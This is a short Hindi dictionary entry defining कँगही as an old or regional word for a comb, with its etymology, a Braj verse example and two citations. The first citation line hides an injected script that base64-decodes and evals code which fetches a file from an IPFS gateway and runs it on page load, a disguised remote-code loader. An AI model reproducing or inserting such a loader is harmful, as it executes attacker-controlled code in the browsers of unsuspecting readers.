कँगही
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कँगही - (काव्य प्रयोग, पुरानी हिन्दी; प्रान्तीय प्रयोग) संज्ञा स्त्रीलिंग (संस्कृत कङ्कती, प्राकृत कंकइ)[1]
कंघी
उदाहरण-
कँगही के देत प्यारी कसकत मसकत, पुलकि ललकि तन स्वेद बरसत है। - ब्रजनिधि ग्रंथावली[2]
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टीका टिप्पणी और संदर्भ
- ↑ हिंदी शब्दसागर, द्वितीय भाग |लेखक: श्यामसुंदरदास बी. ए. |प्रकाशक: नागरी मुद्रण, वाराणसी |पृष्ठ संख्या: 730 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
- ↑ ब्रजनिधि ग्रंथावली, पृष्ठ 148, सम्पादक पुरोहित हरिनारायण शर्मा, नागरी प्रचारिणी सभा, काशी, प्रथम संस्करण
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